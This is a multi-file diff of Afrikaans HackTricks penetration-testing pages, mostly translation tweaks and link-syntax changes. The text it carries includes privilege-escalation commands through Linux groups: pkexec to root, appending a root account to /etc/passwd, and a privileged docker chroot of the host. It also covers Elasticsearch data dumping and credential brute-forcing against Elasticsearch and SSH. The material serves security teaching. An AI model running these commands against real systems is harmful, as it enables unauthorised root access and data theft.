Jy moet die gereedskap vanaf die gasheer wat docker draai of vanaf 'n houer met genoeg voorregte uitvoer. Vind uit **hoe om dit in die README te loop:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -26,12 +26,12 @@ Vind alle suid binaire en kyk of daar die binaire **Pkexec** is:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
As jy vind dat die binêre **pkexec is 'n SUID binêre** en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binêre uitvoer as sudo met behulp van `pkexec`.\
|
||||
As jy vind dat die binêre **pkexec is 'n SUID binêre** en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binêre as sudo uitvoer met `pkexec`.\
|
||||
Dit is omdat dit tipies die groepe is binne die **polkit beleid**. Hierdie beleid identifiseer basies watter groepe `pkexec` kan gebruik. Kontroleer dit met:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies.
|
||||
Daar sal jy vind watter groepe toegelaat is om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies.
|
||||
|
||||
Om **root te word kan jy uitvoer**:
|
||||
```bash
|
||||
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh-sessies** nodig:
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh sessies** nodig:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -72,7 +72,7 @@ Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer:
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
So, lees die lêer en probeer om **enkele hashes te kraak**.
|
||||
So, lees die lêer en probeer om **sommige hashes te kraak**.
|
||||
|
||||
## Personeel Groep
|
||||
|
||||
@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts
|
||||
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
|
||||
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
|
||||
```
|
||||
of Wanneer 'n nuwe ssh sessie aanmeld.
|
||||
of Wanneer 'n nuwe ssh-sessie aanmeld.
|
||||
```bash
|
||||
$ pspy64
|
||||
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
|
||||
@ -146,11 +146,11 @@ Let daarop dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/as
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Toegang geweier**" error.
|
||||
As jy egter probeer om **lêers wat deur root besit word** (soos `/etc/shadow` of `/etc/passwd`) te **skryf**, sal jy 'n "**Toegang geweier**" fout hê.
|
||||
|
||||
## Video Groep
|
||||
|
||||
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
|
||||
Met die opdrag `w` kan jy **uitvind wie op die stelsel aangemeld is** en dit sal 'n uitvoer soos die volgende een toon:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
@ -167,13 +167,13 @@ Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die \*\*`scree
|
||||
|
||||
.png>)
|
||||
|
||||
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter vertoon):
|
||||
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter wys):
|
||||
|
||||
.png>)
|
||||
|
||||
## Root Groep
|
||||
|
||||
Dit lyk of **lede van die root groep** standaard toegang kan hê om sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog, te **wysig**...
|
||||
Dit lyk of **lede van die root groep** standaard toegang kan hê om **te wysig** sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog...
|
||||
|
||||
**Kontroleer watter lêers root lede kan wysig**:
|
||||
```bash
|
||||
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
|
||||
#Ifyou just want filesystem and network access you can startthe following container:
|
||||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||||
```
|
||||
Uiteindelik, as jy nie van enige van die voorstelle hou nie, of hulle werk om een of ander rede nie (docker api firewall?) kan jy altyd probeer om **'n bevoorregte houer te loop en daarvan te ontsnap** soos hier verduidelik:
|
||||
Laastens, as jy nie van enige van die voorstelle hou nie, of hulle werk om een of ander rede nie (docker api firewall?) kan jy altyd probeer om **'n bevoorregte houer te loop en daarvan te ontsnap** soos hier verduidelik:
|
||||
|
||||
{{#ref}}
|
||||
../docker-security/
|
||||
@ -201,9 +201,13 @@ Uiteindelik, as jy nie van enige van die voorstelle hou nie, of hulle werk om ee
|
||||
|
||||
As jy skryfrechten oor die docker socket het, lees [**hierdie pos oor hoe om voorregte te verhoog deur die docker socket te misbruik**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
## lxc/lxd Groep
|
||||
|
||||
@ -213,7 +217,7 @@ As jy skryfrechten oor die docker socket het, lees [**hierdie pos oor hoe om voo
|
||||
|
||||
## Adm Groep
|
||||
|
||||
Gewoonlik het **lede** van die groep **`adm`** toestemming om **log** lêers te **lees** wat binne _/var/log/_ geleë is.\
|
||||
Gewoonlik het **lede** van die groep **`adm`** toestemming om **log** lêers te **lees** wat geleë is in _/var/log/_.\
|
||||
Daarom, as jy 'n gebruiker binne hierdie groep gecompromitteer het, moet jy beslis **na die logs kyk**.
|
||||
|
||||
## Auth groep
|
||||
|
@ -1,6 +1,5 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Sudo/Admin Groepe
|
||||
|
||||
## **PE - Metode 1**
|
||||
@ -42,7 +41,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh-sessies** nodig:
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh sessies** nodig:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -65,7 +64,7 @@ As dit die geval is, om **root te word kan jy net uitvoer**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Shadow Group
|
||||
# Shadow Groep
|
||||
|
||||
Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer:
|
||||
```text
|
||||
@ -111,7 +110,7 @@ Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die **`screen.
|
||||
|
||||

|
||||
|
||||
Verander dan die Breedte en Hoogte na die waardes wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter vertoon\):
|
||||
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter vertoon\):
|
||||
|
||||

|
||||
|
||||
@ -125,15 +124,18 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker Groep
|
||||
|
||||
Jy kan die wortel lêersisteem van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien.
|
||||
Jy kan die wortel lêer stelsel van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# lxc/lxd Groep
|
||||
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,6 +8,8 @@ Hierdie poort word deur **Redshift** gebruik om te loop. Dit is basies 'n AWS va
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
|
||||
Dit is die hulpmiddel wat jy wil gebruik om drukkers te misbruik:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
{{#ref}}
|
||||
https://github.com/RUB-NDS/PRET
|
||||
{{#endref}}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
|
@ -10,9 +10,9 @@ Elasticsearch is 'n **verspreide**, **oopbron** soek- en analise-enjin vir **all
|
||||
|
||||
'n Elasticsearch **indeks** is 'n versameling van **verwante dokumente** wat as **JSON** gestoor word. Elke dokument bestaan uit **sleutels** en hul ooreenstemmende **waardes** (strings, getalle, booleans, datums, arrays, geolokasies, ens.).
|
||||
|
||||
Elasticsearch gebruik 'n doeltreffende datastruktuur genaamd 'n **omgekeerde indeks** om vinnige volle teks soektogte te fasiliteer. Hierdie indeks lys elke unieke woord in die dokumente en identifiseer die dokumente waarin elke woord voorkom.
|
||||
Elasticsearch gebruik 'n doeltreffende datastruktuur genaamd 'n **omgekeerde indeks** om vinnige volle teks soeke te fasiliteer. Hierdie indeks lys elke unieke woord in die dokumente en identifiseer die dokumente waarin elke woord verskyn.
|
||||
|
||||
Tydens die indekseringsproses stoor Elasticsearch die dokumente en bou die omgekeerde indeks, wat byna regte tyd soektogte moontlik maak. Die **indeks API** word gebruik om JSON-dokumente binne 'n spesifieke indeks by te voeg of op te dateer.
|
||||
Tydens die indekseringsproses stoor Elasticsearch die dokumente en bou die omgekeerde indeks, wat byna regte tyd soeke moontlik maak. Die **indeks API** word gebruik om JSON-dokumente binne 'n spesifieke indeks by te voeg of op te dateer.
|
||||
|
||||
**Standaard poort**: 9200/tcp
|
||||
|
||||
@ -24,7 +24,7 @@ Die protokol wat gebruik word om toegang tot Elasticsearch te verkry is **HTTP**
|
||||
|
||||
.png>)
|
||||
|
||||
As jy daardie antwoord nie sien nie wanneer jy toegang tot `/` verkry, sien die volgende afdeling.
|
||||
As jy nie daardie antwoord sien nie wanneer jy toegang tot `/` verkry nie, sien die volgende afdeling.
|
||||
|
||||
### Verifikasie
|
||||
|
||||
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerbesonderhede nodig het** om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik).\
|
||||
Dit beteken dat outentikasie geconfigureer is en **jy geldige akrediteerbesonderhede nodig het** om enige inligting van Elasticsearch te verkry. Dan kan jy [**probeer om dit te bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (dit gebruik HTTP basiese outentikasie, so enigiets wat BF HTTP basiese outentikasie kan gebruik, kan gebruik word).\
|
||||
Hier is 'n **lys van standaard gebruikersname**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Ou weergawe van Elasticsearch het die standaard wagwoord **changeme** vir hierdie gebruiker.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
@ -93,14 +93,14 @@ In `/_security/user` (as outentisering geaktiveer is) kan jy sien watter gebruik
|
||||
|
||||
### Indices
|
||||
|
||||
Jy kan **alle indekse versamel** deur toegang te verkry tot `http://10.10.10.115:9200/_cat/indices?v`
|
||||
Jy kan **alle indekse versamel** deur `http://10.10.10.115:9200/_cat/indices?v` te benader.
|
||||
```
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
|
||||
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
||||
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
||||
```
|
||||
Om **inligting te verkry oor watter tipe data binne 'n indeks gestoor is**, kan jy toegang verkry tot: `http://host:9200/<index>` van die voorbeeld in hierdie geval `http://10.10.10.115:9200/bank`
|
||||
Om **inligting te verkry oor watter tipe data binne 'n indeks gestoor is**, kan jy toegang verkry tot: `http://host:9200/<index>` in hierdie geval `http://10.10.10.115:9200/bank`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -112,7 +112,7 @@ As jy **alle inhoud** van 'n indeks wil **dump**, kan jy toegang verkry tot: `ht
|
||||
|
||||
_Neem 'n oomblik om die inhoud van elke dokument (inskrywing) binne die bankindeks en die velde van hierdie indeks wat ons in die vorige afdeling gesien het, te vergelyk._
|
||||
|
||||
So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggehaal. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\
|
||||
So, op hierdie punt mag jy opgemerk het dat **daar 'n veld genaamd "total" binne "hits" is** wat aandui dat **1000 dokumente gevind is** binne hierdie indeks, maar slegs 10 is teruggetrek. Dit is omdat **daar per standaard 'n limiet van 10 dokumente is**.\
|
||||
Maar, nou dat jy weet dat **hierdie indeks 1000 dokumente bevat**, kan jy **almal dump** deur die aantal inskrywings wat jy wil dump in die **`size`** parameter aan te dui: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Let wel: As jy 'n groter getal aandui, sal al die inskrywings steeds gedump word, byvoorbeeld jy kan `size=9999` aandui en dit sal vreemd wees as daar meer inskrywings was (maar jy moet dit nagaan)._
|
||||
|
||||
@ -127,7 +127,7 @@ As jy op soek is na inligting kan jy 'n **rauwe soektog op al die indekse** doen
|
||||
|
||||
.png>)
|
||||
|
||||
As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig **specifiseer** op die **pad**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
As jy net op 'n indeks wil **soek**, kan jy dit eenvoudig op die **pad** spesifiseer: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_Let daarop dat die q parameter wat gebruik word om inhoud te soek **reguliere uitdrukkings ondersteun**_
|
||||
|
||||
@ -161,11 +161,12 @@ Sommige gereedskap sal 'n paar van die data wat voorheen aangebied is, verkry:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
|
||||
{{#ref}}
|
||||
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
|
||||
{{#endref}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:9200 elasticsearch`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,9 @@
|
||||
|
||||
# **Standaard wagwoorde**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
{{#ref}}
|
||||
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
|
||||
{{#endref}}
|
||||
|
||||
# Konfigurasie lêers
|
||||
```text
|
||||
|
@ -25,9 +25,11 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word per ongeluk deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
|
||||
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word verkeerdelik deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
|
||||
|
||||
{% embed url="https://adsecurity.org/?p=541" %}
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Ander exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
|
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**SSH (Secure Shell of Secure Socket Shell)** is 'n netwerkprotokol wat 'n veilige verbinding met 'n rekenaar oor 'n onveilige netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word.
|
||||
**SSH (Veilige Skulp of Veilige Sokkel Skulp)** is 'n netwerkprotokol wat 'n veilige verbinding met 'n rekenaar oor 'n onveilige netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word.
|
||||
|
||||
**Standaard poort:** 22
|
||||
```
|
||||
@ -16,13 +14,13 @@
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, verskaf in BSD, Linux verspreidings en Windows sedert Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementasie vir omgewings met lae geheue en verwerker hulpbronne, verskaf in OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik, maar die gebruik van die bediener is selde
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik maar die gebruik van die bediener is selde
|
||||
- [CopSSH](https://www.itefix.net/copssh) – implementasie van OpenSSH vir Windows
|
||||
|
||||
**SSH biblioteke (wat bediener-kant implementeer):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – multiplatform C biblioteek wat die SSHv2 protokol implementeer met bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) en [R](https://github.com/ropensci/ssh); dit word deur KDE vir sftp en deur GitHub vir die git SSH infrastruktuur gebruik
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 bediener biblioteek geskryf in ANSI C en gemik op ingebedde, RTOS, en hulpbron-beperkte omgewings
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 bediener biblioteek geskryf in ANSI C en gerig op ingebedde, RTOS, en hulpbron-beperkte omgewings
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteek is gebaseer op Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol biblioteek
|
||||
|
||||
@ -34,7 +32,7 @@ nc -vn <IP> 22
|
||||
```
|
||||
### Geoutomatiseerde ssh-audit
|
||||
|
||||
ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie oudit.
|
||||
ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie ouditering.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is 'n opgedateerde fork van [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
@ -43,11 +41,11 @@ ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie oudit.
|
||||
- SSH1 en SSH2 protokol bediener ondersteuning;
|
||||
- analiseer SSH kliënt konfigurasie;
|
||||
- gryp banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie;
|
||||
- versamel sleutel-uitruil, gasheer-sleutel, enkripsie en boodskap verifikasiekode algoritmes;
|
||||
- voer algoritme-inligting uit (beskikbaar sedert, verwyder/uitgeskakel, onveilig/swak/oud, ens.);
|
||||
- voer algoritme-aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe);
|
||||
- voer sekuriteitsinligting uit (verwante kwessies, toegewyde CVE lys, ens.);
|
||||
- analiseer SSH weergawe kompatibiliteit gebaseer op algoritme-inligting;
|
||||
- versamel sleutel-uitruil, gasheer-sleutel, enkripsie en boodskap outentikasie kode algoritmes;
|
||||
- voer algoritme inligting uit (beskikbaar sedert, verwyder/gedisable, onveilig/ swak/ ou, ens.);
|
||||
- voer algoritme aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe);
|
||||
- voer sekuriteitsinligting uit (verwante probleme, toegewyde CVE lys, ens.);
|
||||
- analiseer SSH weergawe kompatibiliteit gebaseer op algoritme inligting;
|
||||
- historiese inligting van OpenSSH, Dropbear SSH en libssh;
|
||||
- loop op Linux en Windows;
|
||||
- geen afhanklikhede
|
||||
@ -71,13 +69,13 @@ use -t to change timeout)
|
||||
(default: 5)
|
||||
$ python3 ssh-audit <IP>
|
||||
```
|
||||
[ sien dit in aksie (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
[Dit in aksie sien (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
### Publieke SSH-sleutel van bediener
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### Swak Kodeer Algoritmes
|
||||
### Swak Sif-algoritmes
|
||||
|
||||
Dit word standaard ontdek deur **nmap**. Maar jy kan ook **sslcan** of **sslyze** gebruik.
|
||||
|
||||
@ -119,7 +117,9 @@ Of gebruik `ssh-keybrute.py` (natuurlike python3, liggewig en het erfenis algori
|
||||
|
||||
#### Bekende slegte sleutels kan hier gevind word:
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
